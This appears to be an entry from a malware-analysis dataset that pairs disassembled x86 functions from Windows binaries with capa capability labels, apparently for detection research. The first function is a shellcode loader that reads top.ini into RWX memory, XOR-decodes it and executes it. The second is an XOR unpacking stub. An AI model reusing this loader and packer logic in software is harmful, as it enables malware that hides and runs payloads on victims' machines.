joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x12e3be1
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x2d7e1d5d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x402c4d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4558
call fcn.0041dff0
push ebx
push esi
push edi
xor eax, eax
push 0x3c
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x48]
push eax
mov edi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 8], 0x40
jb 0x402db9
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x4c]
mov ebx, edi
call fcn.004029b0
test eax, eax
je 0x402db9
mov eax, dword [ebp - 0x48]
mov esi, dword [ebp + 0xc]
and dword [ebp + 8], 0
push 0x104
lea ebx, [eax + edi]
lea eax, [ebp - 0x153]
push 0
push eax
mov byte [ebp - 0x154], 0
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], 0
je 0x402cf2
push str.gzip
push dword [ebp + 0x10]
call sub.msvcrt.dll__mbsicmp
test eax, eax
pop ecx
pop ecx
jne 0x402cf2
push 0x41f514
lea edi, [ebp - 0x154]
mov dword [ebp + 8], 1
call fcn.00409df3
pop ecx
mov esi, edi
push esi
call fcn.00409a9d
mov esi, eax
cmp esi, 0xffffffff
pop ecx
je 0x402db9
push dword [ebp - 0x34]
push ebx
push esi
call fcn.0040a8ae
add esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
cmp dword [ebp + 8], 0
mov dword [ebp - 8], 1
je 0x402db9
push dword [ebp + 0xc]
call fcn.00409a9d
cmp eax, 0xffffffff
pop ecx
mov dword [ebp + 8], eax
je 0x402db9
mov ebx, 0x3ff
push ebx
lea eax, [ebp - 0x553]
push 0
push eax
mov byte [ebp - 0x554], 0
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x154]
push eax
lea edi, [ebp - 0x554]
call fcn.00409d78
mov eax, edi
push eax
call fcn.00419716
mov edi, eax
add esp, 0x14
test edi, edi
je 0x402db4
jmp 0x402d8f
push eax
lea eax, [ebp - 0x4554]
push eax
push dword [ebp + 8]
call fcn.0040a8ae
add esp, 0xc
lea eax, [ebp - 0x4554]
mov ecx, edi
call fcn.0041995f
test eax, eax
jg 0x402d7c
mov eax, edi
call fcn.00419bab
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push dword [ebp + 8]
call esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4043f2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, ecx
xor ecx, ecx
cmp eax, 2
push edi
mov dword [ebp - 4], ecx
jne 0x40447e
push 0x104
push ecx
lea eax, [ebp - 0x10f]
push eax
mov byte [ebp - 0x110], cl
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x41fadc
lea edi, [ebp - 0x110]
call fcn.00409df3
add esi, 0x244
cmp dword [ebx + 0xeec], 0x20
pop ecx
mov eax, edi
jne 0x404457
push 0
push dword [ebp + 0x18]
push eax
push dword [ebp + 8]
push esi
call fcn.00413652
jmp 0x404471
push dword [ebp + 0x18]
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0xd60]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push esi
call fcn.0041381b
test eax, eax
je 0x40454e
jmp 0x404531
cmp eax, 1
jne 0x404488
push dword [ebp + 8]
jmp 0x4044c9
cmp eax, 3
jne 0x4044d4
mov edi, 0x104
push edi
push ecx
lea eax, [ebp - 0x10f]
push eax
mov byte [ebp - 0x110], cl
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
push dword [ebp + 8]
add esi, 0x9290
push esi
lea eax, [ebp - 0x110]
call fcn.0040a12c
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
push ebx
call fcn.00404123
mov dword [ebp - 4], eax
jmp 0x40454e
cmp eax, 4
jne 0x40454e
push 0x104
push ecx
lea eax, [ebp - 0x10f]
push eax
mov byte [ebp - 0x110], cl
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x41fadc
lea edi, [ebp - 0x110]
call fcn.00409df3
pop ecx
lea ecx, [ebx + 0xc]
call fcn.00409fb5
push eax
push dword [ebp + 0x18]
mov eax, edi
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0xd60]
push dword [ebp + 0x10]
add esi, 0x8fe0
push eax
push esi
call fcn.00401d3d
test eax, eax
je 0x404541
lea eax, [ebp - 0x110]
push eax
push ebx
call fcn.00404123
mov dword [ebp - 4], eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 0x14
Function at 0x4080ad
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4081ad
and dword [ebp - 4], 0
push esi
push edi
mov edi, eax
mov esi, 0xff
push esi
lea eax, [ebp - 0x103]
push 0
push eax
mov byte [ebp - 0x104], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x408182
push esi
lea eax, [ebp - 0x104]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x104]
push str.IEFrame
push eax
call sub.msvcrt.dll__stricmp
test eax, eax
pop ecx
pop ecx
je 0x408164
lea eax, [ebp - 0x104]
push str.OperaWindowClass
push eax
call sub.msvcrt.dll__stricmp
test eax, eax
pop ecx
pop ecx
je 0x408164
lea eax, [ebp - 0x104]
push str.MozillaWindowClass
push eax
call sub.msvcrt.dll__stricmp
test eax, eax
pop ecx
pop ecx
je 0x408164
lea eax, [ebp - 0x104]
push str.Chrome_WidgetWin_0
push eax
call sub.msvcrt.dll__stricmp
test eax, eax
pop ecx
pop ecx
jne 0x408182
push 0x3ff
push ebx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebx + 1]
push 0x2d
push eax
call sub.msvcrt.dll_strrchr
test eax, eax
pop ecx
pop ecx
jne 0x40819c
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x64
mov edi, eax
jle 0x4080d1
jmp 0x4081ab
mov byte [eax], 0
dec eax
cmp byte [eax], 0x20
jne 0x4081a8
mov byte [eax], 0
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x409c30
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
test ebp, ebp
je 0x409c8c
push ebx
push edi
push ebp
call sub.msvcrt.dll_strlen
pop ecx
lea ebx, [eax + 1]
push ebx
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x409c8a
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push ebx
push ebp
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov esi, eax
neg esi
sbb esi, esi
neg esi
pop edi
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, esi
pop esi
pop ebp
ret
Function at 0x409c97
Capabilities:
Get file size
Read file on windows
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [ebp + 8]
call fcn.00409a84
cmp eax, 0xffffffff
pop ecx
mov dword [ebp - 8], eax
je 0x409d26
push ebx
push esi
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x409d0f
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x409d0f
push ebx
mov byte [edi + esi], 0
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
jmp 0x409d18
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
jmp 0x409d2f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 4]
leave
ret

Function at 0x409f03
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x40a0d1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push dword [ebp + 8]
call fcn.00409f03
test eax, eax
pop ecx
je 0x40a0eb
xor eax, eax
leave
ret
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x108]
push 0x5c
push eax
call sub.msvcrt.dll__mbsrchr
add esp, 0x10
test eax, eax
je 0x40a11f
mov byte [eax], 0
lea eax, [ebp - 0x108]
push eax
call fcn.0040a0d1
pop ecx
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
leave
ret

Function at 0x40a178
Capabilities:
Get file size

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
call fcn.00409a84
mov esi, eax
cmp esi, 0xffffffff
pop ecx
je 0x40a1a3
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, dword [esp + 0x10]
push esi
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
mov eax, edi
pop edi
pop esi
ret

Function at 0x40a1fc
Capabilities:
Get common file path

Disassembly:
cmp byte [0x427680], 0
push esi
mov esi, 0x427680
jne 0x40a21c
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov dword [0x427788], eax
push esi
push dword [esp + 0xc]
call sub.msvcrt.dll_strcpy
mov eax, dword [0x427788]
pop ecx
pop ecx
pop esi
ret

Function at 0x40a22f
Capabilities:
Get common file path

Disassembly:
cmp byte [0x427790], 0
push esi
mov esi, 0x427790
jne 0x40a24f
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov dword [0x427898], eax
push esi
push dword [esp + 0xc]
call sub.msvcrt.dll_strcpy
mov eax, dword [0x427898]
pop ecx
pop ecx
pop esi
ret
Function at 0x40a716
Capabilities:
Create process on windows

Disassembly:
push 5
mov eax, 0x41f4f3
push eax
push eax
push dword [esp + 0x14]
push str.open
push dword [esp + 0x18]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
ret

Function at 0x40acea
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
push esi
push edi
lea eax, [ebp - 0x140]
push eax
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40ad44
cmp byte [ebp - 0x114], 0x2e
jne 0x40ad2c
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40ad0f
jmp 0x40ad3d
mov edi, dword [ebp + 0xc]
push 0x50
pop ecx
lea esi, [ebp - 0x140]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
inc esi
push ebx
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40b12b
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push 0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, edi
mov ebx, eax
call fcn.0040af5d
mov edx, ebx
mov eax, edi
call fcn.0040af27
push ebx
push dword [edi]
xor esi, esi
push dword [esp + 0x14]
call fcn.0040a886
mov eax, dword [edi]
mov byte [ebx + eax], 0
add esp, 0xc
xor eax, eax
pop esi
mov dword [edi + 8], ebx
inc eax
pop ebx
ret 4

Function at 0x40b511
Capabilities:
Enumerate files on windows

Disassembly:
push esi
mov esi, eax
mov eax, dword [esi]
cmp eax, 0xffffffff
push edi
jne 0x40b53b
lea eax, [esi + 0x148]
push eax
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi], eax
mov edi, ecx
jmp 0x40b554
lea ecx, [esi + 0x148]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
mov edi, eax
test edi, edi
jne 0x40b558
call fcn.0040b57e
test edi, edi
je 0x40b579
lea ecx, [esi + 0x174]
push 0x143
lea eax, [esi + 0x288]
push ecx
add esi, 0x3cc
push esi
call fcn.0040a12c
add esp, 0xc
mov eax, edi
pop edi
pop esi
ret

Function at 0x40b72f
Capabilities:
Get file size
Read file via mapping

Disassembly:
push esi
push edi
mov esi, eax
call fcn.0040b79b
xor edi, edi
push edi
push edi
push 3
push edi
push 3
push 0x80000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40b78f
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
push edi
push edi
push 2
push edi
push dword [esi]
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, edi
mov dword [esi + 4], eax
je 0x40b78f
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, edi
mov dword [esi + 8], eax
je 0x40b78f
xor eax, eax
inc eax
jmp 0x40b796
call fcn.0040b79b
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x40c16f
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
xor ebx, ebx
mov byte [esi], bl
call fcn.0040868e
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x40c2ac
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov eax, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call fcn.0040beb2
test eax, eax
je 0x40c2ac
mov edi, 0x8000
lea esi, [ebp - 0x24]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x1388
call fcn.0040b6a8
push dword [ebp - 4]
push ebx
push 0x40
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40c291
push ebx
push ebx
push 0x80000000
lea eax, [ebp + 0xc]
push eax
mov dword [ebp + 0xc], ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
cmp dword [ebp + 0xc], ebx
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
je 0x40c28c
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, dword [ebp + 8]
push 0x420034
mov dword [ebp - 8], eax
call fcn.00409df3
pop ecx
push edi
call fcn.00409a9d
pop ecx
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x40c282
push dword [ebp - 8]
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov edi, eax
cmp edi, ebx
je 0x40c27d
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 0x18]
call esi
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
call esi
push dword [ebp - 0xc]
call esi
mov eax, dword [ebp + 8]
cmp byte [eax], bl
je 0x40c2a4
mov edi, dword [ebp + 0x10]
push eax
call fcn.0040868e
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x24]
call fcn.0040b68f
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40c998
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
or dword [ebp - 0x560], 0xffffffff
push ebx
push esi
push edi
push 0x20
pop esi
lea eax, [ebp - 0x55c]
xor ebx, ebx
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x560]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x154], esi
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x13c], esi
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0x1388
mov byte [ebp - 0x130], bl
call fcn.0040c16f
test eax, eax
je 0x40cab8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x560]
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call fcn.0040c2b6
mov edi, dword [ebp - 8]
cmp edi, ebx
jle 0x40ca8e
xor esi, esi
cmp edi, ebx
mov dword [ebp - 4], 1
jle 0x40ca8e
mov eax, dword [ebp - 0x14]
mov dword [ebp + 0xc], eax
call fcn.00416f0a
cmp dword [0x427630], ebx
jne 0x40ca8e
cmp esi, ebx
jl 0x40ca70
cmp esi, edi
jge 0x40ca70
mov eax, dword [ebp + 0xc]
jmp 0x40ca72
xor eax, eax
push eax
lea eax, [ebp - 0x560]
push eax
push dword [ebp + 8]
call fcn.0040c48d
add dword [ebp + 0xc], 0x2206
inc esi
cmp esi, edi
jl 0x40ca56
cmp dword [ebp - 0x560], 0xffffffff
je 0x40caa3
push dword [ebp - 0x560]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 0x560], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x40cab8
push dword [ebp - 0x14]
call sub.msvcrt.dll_free
pop ecx
cmp byte [ebp - 0x130], bl
je 0x40cad3
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov byte [ebp - 0x130], bl
lea ecx, [ebp - 0x28]
call fcn.0040b68f
cmp dword [ebp - 0x560], 0xffffffff
je 0x40caf0
push dword [ebp - 0x560]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 0x560], 0xffffffff
lea esi, [ebp - 0x144]
call fcn.00416ef1
lea esi, [ebp - 0x15c]
call fcn.00416ef1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40d11a
Capabilities:
Read .ini file

Disassembly:
push 0x4272c8
push dword [esp + 0xc]
mov byte [esi], 0
push esi
push 0x41f4f3
push dword [esp + 0x14]
push 0x4273d0
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov eax, esi
ret

Function at 0x40d13e
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0041dff0
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1003]
push 0
push eax
mov byte [ebp - 0x1004], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x4272c8
push esi
lea eax, [ebp - 0x1004]
push eax
push 0x41f4f3
push dword [ebp + 8]
push 0x4273d0
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp byte [ebp - 0x1004], 0
pop esi
je 0x40d1aa
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_strcpy
pop ecx
xor eax, eax
pop ecx
inc eax
leave
ret
xor eax, eax
leave
ret
Function at 0x40d1ae
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0041dff0
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1003]
push 0
push eax
mov byte [ebp - 0x1004], 0
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, 0x4272c8
push edi
push esi
lea eax, [ebp - 0x1004]
push eax
push 0x41f4f3
push dword [ebp + 8]
mov esi, 0x4273d0
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
cmp byte [ebp - 0x1004], 0
jne 0x40d216
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
jmp 0x40d218
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40d4f7
Capabilities:
Read .ini file

Disassembly:
push dword [esp + 4]
call fcn.00409f03
test eax, eax
pop ecx
je 0x40d57e
push esi
push edi
push dword [esp + 0xc]
mov edi, 0x4272c8
push edi
call sub.msvcrt.dll_strcpy
push str.general
mov esi, 0x4273d0
push esi
call sub.msvcrt.dll_strcpy
add esp, 0x10
push edi
push 0
push 0x4201b8
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntA]
dec eax
neg eax
sbb eax, eax
inc eax
push 0x3f
push str.charset
mov esi, 0x427420
mov dword [0x427418], eax
call fcn.0040d11a
push 0x3f
push str.TranslatorName
mov esi, 0x427460
call fcn.0040d11a
push 0xff
push str.TranslatorURL
mov esi, 0x4274a0
call fcn.0040d11a
add esp, 0x18
pop edi
pop esi
ret
Function at 0x4112dc
Capabilities:
Delete file
Open clipboard

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
push 0x4204b8
lea edi, [ebp - 0x104]
mov esi, eax
call fcn.00409df3
mov eax, dword [esi + 0x5b0]
pop ecx
push 1
push 2
mov ecx, edi
push ecx
push eax
call fcn.00410b01
test eax, eax
je 0x41134f
push dword [esi + 0x108]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x41132c
mov eax, edi
push eax
call fcn.00409c97
pop ecx
jmp 0x411332
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x411342
push dword [esi + 0x108]
call fcn.00409afa
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
leave
ret

Function at 0x4115f3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [edi + 0x5b0]
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 4], eax
call fcn.0040e286
test eax, eax
je 0x41165d
push esi
push 0x104
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 8]
add eax, 0xc
push eax
lea esi, [ebp - 0x110]
call fcn.00409fce
add esp, 0x10
push 5
push 0
push 0
mov eax, esi
push eax
push str.Open
push dword [edi + 0x108]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
mov eax, dword [ebp - 4]
call fcn.0040da12
leave
ret

Function at 0x411751
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [edi + 0x5b0]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 8], eax
call fcn.0040e286
test eax, eax
je 0x411835
push 0x38
xor ebx, ebx
lea eax, [ebp - 0x40]
push ebx
push eax
call sub.msvcrt.dll_memset
mov esi, dword [ebp - 4]
lea eax, [esi + 0xc]
add esp, 0xc
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x38], str.Open
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 5
cmp dword [esi + 0xedc], ebx
jbe 0x4117d2
mov ecx, dword [edi + 0x5ac]
cmp dword [ecx + 0x3c], ebx
je 0x4117d2
mov ecx, dword [edi + 0x5b0]
push 0
lea ebx, [edi + 0x4a5]
push ebx
push esi
call fcn.004057f6
mov dword [ebp - 0x34], ebx
jmp 0x41180d
cmp dword [esi + 0xe98], ebx
je 0x4117e9
add edi, 0x3a0
push edi
push eax
call fcn.00413223
jmp 0x41180a
cmp dword [esi + 0xecc], 2
jne 0x41180d
push dword [esi + 0xec8]
add edi, 0x3a0
push dword [esi + 0xec4]
push edi
call fcn.0041868a
mov dword [ebp - 0x34], edi
push 0x2e
add esi, 0x111
push esi
call sub.msvcrt.dll__mbsrchr
test eax, eax
pop ecx
pop ecx
je 0x41182b
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [ebp - 8]
call fcn.0040da12
pop edi
pop esi
pop ebx
leave
ret